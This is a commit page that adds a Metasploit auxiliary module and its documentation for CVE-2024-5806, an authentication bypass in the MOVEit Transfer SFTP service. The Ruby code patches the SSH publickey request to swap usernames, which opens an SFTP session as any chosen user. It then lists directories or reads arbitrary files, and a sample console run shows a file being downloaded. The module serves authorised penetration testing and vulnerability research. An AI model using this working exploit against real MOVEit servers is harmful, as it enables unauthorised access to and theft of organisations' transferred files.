Skip to content

Commit aff9e07

Browse files
committed
add in the aux gather module for CVE-2024-5806
1 parent 493a45e commit aff9e07

File tree

2 files changed

+269
-0
lines changed

2 files changed

+269
-0
lines changed
Lines changed: 93 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,93 @@
1+
## Vulnerable Application
2+
This module exploits CVE-2024-5806, an authentication bypass vulnerability in the MOVEit Transfer SFTP service. The
3+
following version are affected:
4+
5+
* MOVEit Transfer 2023.0.x (Fixed in 2023.0.11)
6+
* MOVEit Transfer 2023.1.x (Fixed in 2023.1.6)
7+
* MOVEit Transfer 2024.0.x (Fixed in 2024.0.2)
8+
9+
The module can establish an authenticated SFTP session for a MOVEit Transfer user. The module allows for both listing
10+
the contents of a directory, and the reading of an arbitrary file.
11+
12+
## Testing
13+
1. Installation requires a valid trial license that can be obtained by going here:
14+
https://www.ipswitch.com/forms/free-trials/moveit-transfer
15+
2. Ensure that your computer has internet access for the license to activate and double-click the installer.
16+
3. Follow installation instructions for an evaluation installation.
17+
4. After the installation completes, follow the instructions to create an sysadmin user.
18+
5. Log in as the sysadmin and create a new Organization (e.g. `TestOrg`).
19+
6. In the `Home` section, click the "Act as administrator in the TestOrg organization" button.
20+
7. In the `Users` section, create a new normal user (e.g. `testuser1`) in the new Organization.
21+
8. In the `Folders` section, navigate the `testuser1` Home folder and create some files and folders.
22+
9. The SFTP service will be running by default. No further configuration is required.
23+
24+
## Verification Steps
25+
26+
1. Start msfconsole
27+
2. `use auxiliary/gather/progress_moveit_sftp_fileread_cve_2024_5806`
28+
3. `set RHOST <TARGET_IP_ADDRESS>`
29+
4. `set STORE_LOOT false`
30+
5. `set TARGETUSER <TARGET_USERNAME>`
31+
6. `set TARGETFILE /`
32+
7. `check`
33+
8. `run`
34+
35+
## Options
36+
37+
### STORE_LOOT
38+
Whether the read file's contents should be stored as loot in the Metasploit database. If set to false, the files
39+
content will be displayed in the console. (default: true).
40+
41+
### TARGETUSER
42+
A valid username to authenticate as. (default: nil).
43+
44+
### TARGETFILE
45+
The full path of a target file or directory to read. If a directory path is specified, the output will be the
46+
directories contents. If a file path is specified, the output will be the files contents. In order to learn
47+
what files you can read, you cna first read the root directories (/) contents.(default: /).
48+
49+
## Scenarios
50+
51+
### Default
52+
53+
```
54+
msf6 auxiliary(gather/progress_moveit_sftp_fileread_cve_2024_5806) > set RHOST 169.254.180.121
55+
RHOST => 169.254.180.121
56+
msf6 auxiliary(gather/progress_moveit_sftp_fileread_cve_2024_5806) > set STORE_LOOT false
57+
STORE_LOOT => false
58+
msf6 auxiliary(gather/progress_moveit_sftp_fileread_cve_2024_5806) > set TARGETUSER testuser1
59+
TARGETUSER => testuser1
60+
msf6 auxiliary(gather/progress_moveit_sftp_fileread_cve_2024_5806) > show options
61+
62+
Module options (auxiliary/gather/progress_moveit_sftp_fileread_cve_2024_5806):
63+
64+
Name Current Setting Required Description
65+
---- --------------- -------- -----------
66+
RHOSTS 169.254.180.121 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
67+
RPORT 22 yes The target port
68+
STORE_LOOT false no Store the target file as loot
69+
TARGETFILE / yes The full path of a target file or directory to read.
70+
TARGETUSER testuser1 yes A valid username to authenticate as.
71+
72+
73+
View the full module info with the info, or info -d command.
74+
75+
msf6 auxiliary(gather/progress_moveit_sftp_fileread_cve_2024_5806) > run
76+
[*] Running module against 169.254.180.121
77+
78+
[*] Authenticating as: [email protected]:22
79+
[*] Listing directory: /
80+
dr-xr-xr-x 1 0 0 0 Jun 23 16:19 /Home/
81+
dr-xr-xr-x 1 0 0 0 Jun 18 22:50 /Home/testuser1/
82+
dr-xr-xr-x 1 0 0 0 Jun 18 22:50 /Home/testuser1/TestFolder1/
83+
-rw-rw-rw- 1 0 0 8 Jun 18 22:50 /Home/testuser1/test.txt
84+
[*] Auxiliary module execution completed
85+
msf6 auxiliary(gather/progress_moveit_sftp_fileread_cve_2024_5806) > run TARGETFILE=/Home/testuser1/test.txt
86+
[*] Running module against 169.254.180.121
87+
88+
[*] Authenticating as: [email protected]:22
89+
[*] Downloading file: /Home/testuser1/test.txt
90+
secrets!
91+
[*] Auxiliary module execution completed
92+
msf6 auxiliary(gather/progress_moveit_sftp_fileread_cve_2024_5806) >
93+
```
Lines changed: 176 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,176 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
require 'net/ssh/transport/session'
6+
require 'net/sftp'
7+
require 'openssl'
8+
9+
class MetasploitModule < Msf::Auxiliary
10+
11+
include Msf::Auxiliary::Report
12+
13+
def initialize(info = {})
14+
super(
15+
update_info(
16+
info,
17+
'Name' => 'Progress MOVEit SFTP Authentication Bypass for Arbitrary File Read',
18+
'Description' => %q{
19+
This module exploits CVE-2024-5806, an authentication bypass vulnerability in the MOVEit Transfer SFTP service. The
20+
following version are affected:
21+
22+
* MOVEit Transfer 2023.0.x (Fixed in 2023.0.11)
23+
* MOVEit Transfer 2023.1.x (Fixed in 2023.1.6)
24+
* MOVEit Transfer 2024.0.x (Fixed in 2024.0.2)
25+
26+
The module can establish an authenticated SFTP session for a MOVEit Transfer user. The module allows for both listing
27+
the contents of a directory, and the reading of an arbitrary file.
28+
},
29+
'License' => MSF_LICENSE,
30+
'Author' => [
31+
'sfewer-r7' # MSF Module & Rapid7 Analysis
32+
],
33+
'References' => [
34+
['CVE', '2024-5806'],
35+
# ['URL', 'https://attackerkb.com/topics/2k7UrkHyl3/cve-2024-5806/rapid7-analysis']
36+
],
37+
'DefaultOptions' => {
38+
'RPORT' => 22,
39+
'SSL' => true
40+
},
41+
'Notes' => {
42+
'Stability' => [CRASH_SAFE],
43+
'SideEffects' => [IOC_IN_LOGS],
44+
'Reliability' => []
45+
}
46+
)
47+
)
48+
49+
register_options(
50+
[
51+
Opt::RHOST,
52+
Opt::RPORT(80),
53+
OptBool.new('STORE_LOOT', [false, 'Store the target file as loot', true]),
54+
OptString.new('TARGETUSER', [true, 'A valid username to authenticate as.', nil]),
55+
OptString.new('TARGETFILE', [true, 'The full path of a target file or directory to read.', '/'])
56+
]
57+
)
58+
end
59+
60+
def check
61+
# Our check method will establish an unauthenticated connection to the remote SFTP (which is an extension of SSH)
62+
# service and we pull out the servers version string.
63+
transport = ::Net::SSH::Transport::Session.new(
64+
datastore['RHOST'],
65+
{
66+
port: datastore['RPORT']
67+
}
68+
)
69+
70+
ident = transport.server_version.version
71+
72+
# We test the SSH version string for a known value of MOVEit SFTP.
73+
return Msf::Exploit::CheckCode::Safe(ident) unless ident == 'SSH-2.0-MOVEit Transfer SFTP'
74+
75+
# We cannot get a product version number, so the best we can do is return Detected.
76+
Msf::Exploit::CheckCode::Detected(ident)
77+
rescue Net::SSH::ConnectionTimeout
78+
Msf::Exploit::CheckCode::Unknown('Connection Timeout')
79+
end
80+
81+
def run
82+
# We want to change the behaviour of the build_request method. So first we alias the original build_request
83+
# method, so we can restore it later, as other things in MSF may use Net::SSH, and will expect normal behaviour.
84+
::Net::SSH::Authentication::Methods::Publickey.send(:alias_method, :orig_build_request, :build_request)
85+
86+
# Define the new behaviour. We exploit CVE-2024-5806 by supplying an invalid username (like an empty string) upon
87+
# the initial publickey auth request, then when sending the signature response to the server, we provide the username
88+
# of the valid user account we want to authenticate as.
89+
::Net::SSH::Authentication::Methods::Publickey.send(:define_method, :build_request) do |pub_key, username, next_service, alg, has_sig|
90+
orig_build_request(pub_key, has_sig ? username : '', next_service, alg, has_sig)
91+
end
92+
93+
print_status("Authenticating as: #{datastore['TARGETUSER']}@#{datastore['RHOST']}:#{datastore['RPORT']}")
94+
95+
# With ::Net::SSH::Authentication::Methods::Publickey monkey patched above, we can trigger the auth bypass and get
96+
# back a valid SFTP session which we can interact with.
97+
::Net::SFTP.start(
98+
datastore['RHOST'],
99+
datastore['TARGETUSER'],
100+
{
101+
port: datastore['RPORT'],
102+
auth_methods: ['publickey'],
103+
# The vulnerability allows us to supply any well formed RSA key and it will be accepted. So we generate a new
104+
# key (in PEM format) every time we exploit the vulnerability.
105+
key_data: [OpenSSL::PKey::RSA.new(2048).to_pem]
106+
}
107+
) do |sftp|
108+
if File.directory? datastore['TARGETFILE']
109+
print_status("Listing directory: #{datastore['TARGETFILE']}")
110+
111+
recurse_dir(sftp, datastore['TARGETFILE'])
112+
else
113+
print_status("Downloading file: #{datastore['TARGETFILE']}")
114+
115+
read_file(sftp, datastore['TARGETFILE'])
116+
end
117+
end
118+
rescue ::Net::SFTP::StatusException
119+
print_error('SFTP Status Exception.')
120+
rescue ::Net::SSH::AuthenticationFailed
121+
print_error('SFTP Authentication Failed. Is TARGETUSER a valid username?')
122+
ensure
123+
::Net::SSH::Authentication::Methods::Publickey.send(:alias_method, :build_request, :orig_build_request)
124+
end
125+
126+
def recurse_dir(sftp, base_path)
127+
sftp.dir.foreach(base_path) do |entry|
128+
entry_full_path = base_path.dup
129+
entry_full_path << '/' unless base_path.end_with? '/'
130+
entry_full_path << entry.name
131+
entry_full_path << '/' if entry.directory?
132+
133+
print_line(entry.longname.gsub(entry.name, entry_full_path))
134+
135+
recurse_dir(sftp, entry_full_path) if entry.directory?
136+
end
137+
end
138+
139+
def read_file(sftp, file_path)
140+
sftp.open(file_path) do |open_response|
141+
if open_response.ok?
142+
file_size = sftp.fstat!(open_response[:handle]).size
143+
144+
sftp.read(open_response[:handle], 0, file_size) do |read_response|
145+
if read_response.ok?
146+
147+
file_data = read_response[:data].to_s
148+
149+
if datastore['STORE_LOOT']
150+
print_status('Storing the file data to loot...')
151+
152+
store_loot(
153+
file_path,
154+
file_data.ascii_only? ? 'text/plain' : 'application/octet-stream',
155+
datastore['RHOST'],
156+
file_data,
157+
datastore['TARGETFILE'],
158+
'File read from Progress MOVEit SFTP server'
159+
)
160+
else
161+
print_line(file_data)
162+
end
163+
164+
else
165+
print_error('SFTP read failed.')
166+
end
167+
end
168+
169+
sftp.close(open_response[:handle])
170+
else
171+
print_error('SFTP open failed. Is the TARGETFILE path correct?')
172+
end
173+
end
174+
end
175+
176+
end

0 commit comments

Comments
 (0)